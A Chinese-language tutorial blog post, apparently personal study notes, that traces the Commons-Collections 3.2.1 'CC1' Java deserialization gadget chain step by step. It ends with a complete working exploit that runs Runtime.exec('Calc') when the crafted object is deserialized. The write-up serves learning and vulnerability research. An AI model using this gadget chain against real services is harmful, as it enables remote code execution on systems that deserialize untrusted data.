环境搭建
解压8u65里边的src.zip,把openjdk里的sun文件夹复制过来
创建maven空项目,选择jdk_8u65
在project structure里,把src源码的路径添加进去
添加CC漏洞版本的maven依赖,
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
注意调试没有源码就download resources一下
到此为止,环境配置完成,尝试导入CC包,看看是否配置成功
1
| import org.apache.commons.collections.functors.InvokerTransformer;
|
攻击链分析
思路是从命令执行的地方一直往前找,找调用了同名函数的函数,直到找到readObject()为止。
- InvokerTransformer.transform()可以命令执行
- TransformedMap.checkSetValue()调用了xxx.transform()
- AbstractInputCheckedMapDecorator.setValue()调用了TransformedMap.checkSetValue()
- AnnotationInvocationHandler.readObject()调用了Map.setValue(),上个类又是Map的实现类
EXP编写
这是笔者跟的第一条链子,跟完之后仍然懵懵懂懂,在此,在我的理解范围内,在尽量详实地记下我的分析过程。
首先在InvokerTransformer.transform()中,存在任意方法反射调用:
这几个参数通过构造函数都是可控的:
尝试弹计算器,确定是可以执行命令的:
1 2 3 4 5 6 7
| public class TestCC1 { public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}).transform(runtime); }
}
|
接下来,开始找什么地方调用了transform(Object object),在transform()上右键,点击find usages
一般来说找带Map的好一些(?),听组长说,这个比较适合到时候找到入口类
发现TransformedMap#checkSetValue()调用了transform(),看看能不能利用:
valueTransformer是什么,可不可以控制?发现通过构造函数好像可以控制:
它构造函数是protected类型,我们不能直接创建实例:
于是再找其他函数,发现decorate()会返回一个构造好的实例:
尝试利用decorate()构造链条,EXP如下,注意,checkSetValue()是protected的,要反射调用该函数!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class TestCC1 { public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}); HashMap<Object,Object> hashMap = new HashMap<>(); TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class; Method checkSetValue = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class); checkSetValue.setAccessible(true); checkSetValue.invoke(transformedMap,runtime); }
}
|
接下来发现找不到有用的、调用decorate()的函数,于是试着找调用了checkSetValue()的函数,同样方法:
AbstractInputCheckedMapDecorator是TransformedMap的父类,它这setValue()里会调用checkSetValue()
父类AbstractInputCheckedMapDecorator有这个setValue()方法,子类TranformedMap自然也继承了,
于是想办法怎么在transformMap这个Map里调setValue(),跟一下setValue()函数:
一路跟上去发现是Map数据结构的一个给entry赋值的函数,那么我们尝试给构造的transformedMap里的value赋值,赋值runtime,进一步构造利用链,看看能不能弹计算器:
1 2 3 4 5 6 7 8 9 10 11
| public class TestCC1 { public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key","value"); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer); for(Map.Entry entry:transformedMap.entrySet()){ entry.setValue(runtime); } }
|
这里的for循环注意理解,涉及JavaSE的基础知识:
AnnotationInvocationHandler#readObject
最后是找到这个入口类,它满足下面几个条件:
- 可序列化
- 重写readObject()
- 调用了setValue()
这个类它不是public的,是default的,需要用反射获取对象。
链条到这就完整了,下面可以试着编写Exp
理想情况EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class TestCC1 { public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key","value"); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer); Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize(); }
|
**然而并没有利用成功,因为还有几个未解决的问题。
解决问题
Runtime对象不能序列化
Runtime类没有实现Serializable接口,故不能序列化:
但是Runtime.class对象是可以序列化的:
我们可以利用反射,不传runtime进去,选择传Runtime.class进去,通过反射照样能得到runtime
1 2 3 4
| Class runtimeClass = Runtime.class; Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass); Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}).transform(runtime);
|
这里如果我们直接用这个, 要调用3次transform()函数,意味着链子要多执行三轮,有更简单的方法:
通过这个现成的ChainedTransformer类,只需要触发一次chainedTransformer.transform()就好了
注意:
ChainedTransformer[0].transform()的返回值,会作为ChainedTransformer[1].transform()的参数。
下面进一步编写Exp:
1 2 3 4 5 6
| Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
|
小疑问
这里我一直不明白,这里就算换Runtime.class,在链条里应该也新建了Runtime对象,不会影响序列化吗?
我的理解是只要序列化的时候没有出现Runtime的对象就好,实际Runtime对象并没有参与序列化与反序列化。
生成runtime对象已经是反序列化的时候的事情了。
绕过两个if语句进到setValue()
这里简单看下这个类的代码,看看怎么绕
构造函数传一个注解的类型叫type、一个Map叫memberValues,然后赋值到属性
下面是需要绕过的主要逻辑:
- memberTypes:@Target注解的<每个成员名,成员类型>组成的键值对集合
- memberType:根据name查找memberTypes,返回对应name的成员所属的类型,没有则返回null
- memberValues:传进来的hashmap{“1111”->”2222”}
- memberValue:传进来的hashmap的entry对象 “1111”->”2222”
- name:hashmap的key名,”1111”
- value:hashmap的键值对对象的值,”2222”
这段代码的逻辑:遍历传进来的hashmap,第一个if检查每一个key是不是注解里定义的成员的名字,是就通过;第二个if判断如果value不是memberType/ExceptionProxy的实例,就通过。
于是我们修改传进来的hashmap,把key改成某个注解里存在的成员的名字(例如”value”),value随便就好(例如”Jasper”)
进一步完善Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("value","Jasper"); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer); Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize();
|
setValue()不能传runtime对象
还是上面的逻辑,我们发现setValue()传入的对象我们是不可控的:
这里用到的是一个比较巧妙的ConstantTransformer类,ConstantTransformer.transform()返回一个恒定的值
而这个iConstant是能在构造函数里控制的:
那么问题就解决了,这里我看师傅们的文章都没仔细说,我思考了挺久才明白怎么回事:
我们在chainedTransformer数组的开头加上ConstantTransformer的对象,并且传入Runtime.class
这样一来不管ConstantTransformer.transform(xxx)传什么对象,都会返回一个Runtime.class对象
联系之前使用的辅助类ChainedTransformer.transform()的特性:
进一步完善Exp,重点关注transformers[]的第一个元素ConstantTransformer:
1 2 3 4 5 6 7 8 9
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
|
经过这样设置,我们在序列化、反序列化之后,会依次进行以下调用:
- AnnotationInvocationHandler.readObject()
- transformedMap.entry.setValue(new balabala)
- transformedMap.checkSetValue(new balabala)
- chainedTransformer.transform(new balabala)
- runtimeClass = ConstantTransformer.transform(new balabala) //控制参数
- getRuntime = new InvokerTransformer(…).transform(runtimeClass)
- rumtime = new InvokerTransformer(…).transform(getRuntime)
- new InvokerTransformer(…).transform(runtime)
最终EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| public class TestCC1 { public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("value","Jasper"); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer); Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize(); }
public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); }
public static Object unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); return o; } }
|
参考链接
https://y0n3er.github.io/undefined/45527.html
https://www.lengf233.top/2023/03/19/ru-he-shou-xie-yi-tiao-cc1-lian/
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/
小结
通过这次跟链子,确实对Java反射、Java反序列化以及一些Idea调试方法有了更深的认识,继续加油吧!